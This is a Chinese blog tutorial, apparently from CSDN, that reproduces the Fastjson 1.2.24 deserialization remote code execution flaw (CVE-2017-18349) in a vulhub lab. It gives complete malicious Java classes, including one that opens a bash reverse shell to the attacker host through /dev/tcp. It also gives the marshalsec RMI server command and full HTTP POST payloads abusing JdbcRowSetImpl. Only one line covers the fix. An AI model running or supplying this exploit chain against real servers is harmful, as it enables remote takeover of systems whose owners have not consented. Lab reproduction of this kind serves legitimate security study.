Fastjson1.2.24反序列化导致任意命令执行(CVE-2017-18349)

0x00 前言

最近遇到了这个漏洞,所以咱们今天来复现一下

--学如逆水行舟,不进则退

0x01 漏洞简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

0x02 影响版本:

fastjson <= 1.2.24

0x03 漏洞复现

1.所需机器以及工具:

靶机:Centos7 (192.168.166.129)

攻击机:kali (192.168.166.128)

本机(当然也可以用kali),用来抓包

环境:JDK不得高于不得高于1.8(使用新版本复现不出来)

marshalsec项目:用来启动一个RMI服务器,用来指定加载远程类。

下载地址:链接:https://pan.baidu.com/s/1wHGozwQsUeUSeT1dqA_Lsg 
提取码:mask

2.环境搭建

此处使用vulhub靶场搭建

cd vulhub/
cd fastjson/
cd 1.2.24-rce/
docker-compose up -d

 搭建好之后,访问靶机,http://ip:8090,出现下图,说明搭建成功

3.在kali中使用一下命令,发送一个JSON对象,更新服务端的信息。

curl http://192.168.166.129:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'

4. 在kali中新建一个TouchFile.java文件,将下列代码内容,也就是恶意类写进文件中

注意:::此处文件名不能随意更改

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

        static {

                try {

                        Runtime rt = Runtime.getRuntime();

                        String[] commands = {"touch", "/tmp/success"};

                         Process pc = rt.exec(commands);

                         pc.waitFor();

                        } catch (Exception e) {

                        // do nothing

                }

                }

}

5.使用javac命令将TouchFile.java编译成.class文件 

注意:::编译好后,将生成的.class文件和Touchfile.java放在一个文件夹下

javac TouchFile.java

6.在Touchfile.java和.class文件的文件夹下启动http服务(默认端口是8000)

python3 -m http.server

 

 启动之后,浏览器访问http://kali ip:8000/  可以访问到就是启动成功了

7.使用marshalsec启动一个RMI服务器,用来指定加载远程类。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.166.128:8000/#TouchFile" 9999

 如下图:

 8.访问靶机,进行抓包,构造payload

注意:::  1.抓包之后,改为post包

             2.Content-Type处application/x-www-form-urlencoded换为application/json

             3.自己复现时候,记得把payload中ip改为自己攻击的ip

 

POST / HTTP/1.1
Host: 192.168.166.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 165

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.166.128:9999/TouchFile",
        "autoCommit":true
    }
}

发送一下数据包,响应为500,即为正常 

9.进去靶机机器(Centos7),验证命令是否执行成功

docker ps -a    ///查看启动的docker容器

docker exec -it 容器id bash

cd /tmp/

ls

发现有success,代表命令执行成功 (当然,在攻击机中,也会有回显)

10.反弹shell 

同上操作:

    1.创建一个shell.java文件,然后将shell.java编译成.class文件,然后放于同意文件夹下

代码如下:

import java.lang.Runtime;

import java.lang.Process;

public class shell {

        static {

                try {

                        Runtime rt = Runtime.getRuntime();

                        String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.166.128/6666 0>&1"}; Process pc = rt.exec(commands);

                        pc.waitFor(); }

                        catch (Exception e) {

                                 // do nothing

                                                }

                                 }

                }

         2.在shell.java和生成的.class文件夹中启动http服务

         3.启用RMI服务

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.166.128:8000/#shell" 9999

          4nc监听6666端口 

如下图:

 11.访问靶机抓包,构造paylaod,注意项如上面一样

POST / HTTP/1.1
Host: 192.168.166.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 165

{

        "b":{

                "@type":"com.sun.rowset.JdbcRowSetImpl",                 "dataSourceName":"rmi://192.168.166.128:6666/shell",

                "autoCommit":true }

}

 12.出现以下图片说明反弹成功

0x04 漏洞修复:

 将Fastjson升级到最新版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值